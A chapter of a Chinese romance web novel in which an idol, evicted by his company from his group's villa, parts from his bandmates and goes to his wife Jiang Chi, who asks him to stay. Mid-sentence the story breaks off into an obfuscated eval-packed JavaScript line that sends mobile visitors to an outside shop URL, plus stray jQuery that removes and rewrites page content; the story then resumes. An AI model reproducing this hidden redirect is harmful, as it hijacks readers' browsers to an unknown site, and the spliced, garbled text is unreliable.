周时序从姜迟家中出来的时候，天已经黑了个彻底。
路灯把街道上的景致照得昏黄，晚风拂过一角。不知不觉，深秋了，到底有几分凉意。
周时序裹了裹大衣，抬步往外走。
手机上的热搜已经从“周时序殴打经纪人”变成了“周时序单飞维权”。
评论区已经乱成了一锅粥，说什么的都有。
周时序将手机息屏，拦了辆出租车。
“师傅，去星湖湾。”
出租车司机一听地名，转头看了刚坐进车里的周时序两眼，也没多话，车子驶入大道。
车窗外，霓虹灯的光影一道道掠过他的脸，明明灭灭。
他不经想起那份公开的手稿。
八年前，那时他们刚分开。
他日夜打磨剧本，稿件被他收在了一个牛皮纸袋里，塞在行李箱最底层，跟着他辗转颠簸。
如今重见天日，却没想到是以这样的方式。
“到了。”司机一声吆喝，他才发现已经到星湖湾别墅区门口了。
周时序付钱下车，迈着长腿快步走到门口。
指纹锁“滴”的一声被打开。
推门的瞬间，看清眼前的景象，他愣住了。
客厅里，站着陈辰和他的助理周桐。
周桐正在往他的行李箱里塞东西，乐谱、卫衣，还有几盒没开封的薄荷糖。他沉默着一股脑往里头塞，听见开门的声音，动作一顿，转头去看他。
他才发现，周桐整个人眼眶都是红的。
视线对上的瞬间，周桐逃避地躲开了视线，低头继续整理，却不敢看他。
周时序又去看站在楼梯上的陈辰。
只见那张向来温和的脸上如今满是复杂的情绪，眉头紧抿着，眼睛里翻涌着什么，却又被他生生压了下去。
“……时序。”他开口，“你回来了。”
周时序的目光扫过陈辰，又去看始终不敢与他对视的周桐：“什么意思？”
周桐听见这一声问，声音哽咽，终于忍不住了：“公司刚才来人了。”他气得浑身发抖，“说是你既然不肯续约，那公司安排的别墅也不用住了，让你今晚就搬出去……这帮人还搜你的卧室。”
“周桐是我找来的。”陈辰接话道，“他们打着帮你收拾的名义，在找你的手稿。我怕我护不住，让周桐过来，就不劳他们费心了。”
周桐呜咽一声，合行李箱时往下压了一下夹层：“还好我及时来了，我看过了，手稿还在。”
周时序一时沉默了，良久：“谢谢。”
“你还说呢。”陈辰埋怨道，“单飞这么大的事也不跟我们商量，大家都被你吓一跳。公司那边反应快的跟闪电一样，你前脚声明出来，他们后脚就上门清退了，要不是我喊了周桐过来，你以为你藏在行李箱里的手稿能保得住？”
周时序沉默着，一步步走进客厅。
周桐跟了他这么久，还是跟以往一样，做事情毛毛躁躁，连叠个衣服都会露出一个角在行李箱外面。但不管是周桐的不着调还是陈辰的缜密，都让他莫名安心。
“……队长呢？”周时序问起马昼明，“怎么没看见他，他不在吗？”
“他在楼上打电话呢，说是找他爸那边的关系，看看还能不能斡旋两下。”陈辰撇了撇嘴，似有几分无奈。
“时序，你真的准备走吗？”他的声音带着犹豫和焦灼，“公司行政部来人的时候，说你要么撤回声明跟公司重新谈，要么就今天走人，然后等着被封杀。”
周时序抬眼看他。
陈辰就站在楼梯口，眼中满目不舍与挣扎：“我不想你就这样走。可能怎么办，公司说谁要是帮你，谁就跟着一起卷铺盖滚蛋。我们信你，但公司拿整个团压人。”
周时序沉默了，这些话像是刀子，钝，但割肉。
“我明白了。”周时序拉起周桐收拾好放在地上的行李箱。行李箱不重，里面的东西零零碎碎，却都是成团以来的回忆。
他叹了口气，转身往外走。
“周时序！”
陡然一声喊让周时序的脚步顿在了当场。
队长马昼明急匆匆从楼上下来，奔到周时序跟前，他站在那，却不敢与周时序对视，出口的话就是抱歉：“对不起。”
周时序立刻便明白，他怕是在他爸那没讨到好。
马昼明神情纠结，紧绷着身体，像是愧疚到了极致：“对不起。”他重复着，“还有……”他深吸一口气，开口，“你在琴房的吉他，公司说是公有财产，你不能带走了。”
他将一个磨旧的琴拨片塞到了周时序手里：“吉他拿不出来，这个你拿着。”
周时序一愣，肩膀几不可察得僵了一下。那把吉他是他用赚的第一笔钱买的，不贵，却陪了他从出道到顶流的所有时光。他闭了闭眼，摩挲着手上的琴拨片：“知道了。”
马昼明张了张嘴，还想说什么，却又不知道该如何开口安慰周时序，一时间，只能看着周时序推门走了出去。
周时序拉着行李箱的拉杆，身后还跟着助理周桐。
“你也回去吧。”他跟周桐道。
周桐眼中明显的担忧：“你今晚住哪？”
周时序抬头看了看漆黑的天色，像是一声叹息般：“我去找姜迟。”
一个对周桐来说全然陌生的名字出现在周时序口中，周桐愣了愣，想起热搜上两人已经是夫妻的声明，眼中又有几分了然。
“好。”他道。
周桐看着周时序沉默的身形，开口：“时序哥，你经常开玩笑，我们都姓周，指不定八百年前就是一家。我初来公司就是做你助理，我也早把你当家人了。你要是走，我也不会留。”
周时序深深看了他一眼，只是静静回了一句：“别冲动。”
周桐眼眶瞬间红了，躲开他的视线：“我送哥去嫂子那。”随后扯过周时序手中的行李箱，先一步奔出了别墅区。
周时序紧随其后。
别墅区的门在身后轰然合上，发出一声沉闷的响。周时序站在门口，夜风将他的大衣吹得飒飒作响，路灯又将他的影子拉得细长。他站在路口，遥望着不远处周桐朝他招呼的手。
他忍不住转头再去看最后一眼。
彼时，十九岁的少年一无所有，PLS虽火却没到爆火的地步。他一个人租着出租房，躲在里面写歌、写剧本，把所有说不出口的不甘心都写进文字里。后来，他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705577|207231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
团火了，公司才给集中住宿，换了这栋别墅。刚到的时候，马昼明就挑了二楼朝南的房间，说是采光好。陈辰也差不多，紧挨着他。
只有他，选了离练歌房最近，却又最偏的房间。只是为了晚上写东西写到一两点，心情压抑的时候，推门就能去练歌房弹两段，不用爬楼吵到他俩。
只是，现在这扇门永远不会为他所开了。
周时序收回目光，毅然决然往周桐车的方向过去，不再留恋。
周桐将他送到姜迟小区门口，他要送他上去，但周时序私心里不想任何人打扰到姜迟便没让。
他一个人拎着行李箱，上了电梯，转头到了姜迟家门口，身上还沾着夜风的凉气。
仅仅犹豫了一瞬，他抬手，按响了门铃。
门一开，暖光先涌了出来，姜迟站在这片暖光里。
她显然还没睡，开门的时候已经洗漱好，换了一身居家服，手里还握着一支笔，明显刚才在伏案创作。
看见是他，诧异到愣在了那里，手里的笔险些没握住。
她先是看了眼周时序，随后视线停留在了他脚边的行李箱上，又移了回来，沉默了片刻，她率先侧过了身：“你先进来。”
周时序拖着行李箱进去。
姜迟卧室的灯开着，里面的书桌上摊开着书页和一本剧本，他仔细一看，是《虚构温柔》。她在给剧本做批注。
姜迟也不避着他，见他看向书桌，提了一嘴：“下一场戏的批注。”
周时序顿时明白了。
姜迟却没打算饶过他。她盯着他脚边的行李箱，指着它，问：“说吧，什么情况？”
周时序喉咙动了动：“公司清退了我的个人物品。”
半晌，姜迟意识到了问题所在：“那你今晚住哪？”
周时序没说话。
姜迟叹息一声，忍不住揉了揉眉心，再看向他时，眼底分明有着细细绵绵的心疼：“你公司还说什么了？”
“说我合约到期不续约的话，没资格住在PLS男团别墅。”周时序说得很平静，“就连用个人分成买的吉他，也没让带走。”
姜迟听到吉他这两个字，无语得看了他一眼，但也瞬间明白过来，怕是这把吉他对他来说，意义不凡。
“我明天陪你去买一把。”她说得理所应当。
理所应当到周时序忍不住抬眼去看她，目光里是微微晃动的感动。
姜迟却没有在这个话题上再多说什么，只是像打趣一般开口：“前几天你走的时候，是不是说过一句话。”
“什么？”周时序一愣。
“你说。”姜迟歪了歪脑袋，做出一副回忆的模样，“随时喊你来做饭。原话是不是这么说的？”
周时序想起来了。
那时候姜迟夸他做饭好吃，他便说：“想吃的话，以后随时喊我过来做饭。随叫随到。”
那会儿的一句话，倒是被姜迟记在心里了。
姜迟见他不说话，朝着他走了两步，到了他跟前，仰头望着他。
看清她眼底的东西，让他一瞬间心口发烫。
“我现在每天都想吃你做的饭。”姜迟开口，声音轻柔却笃定，“……所以，留下来吧。”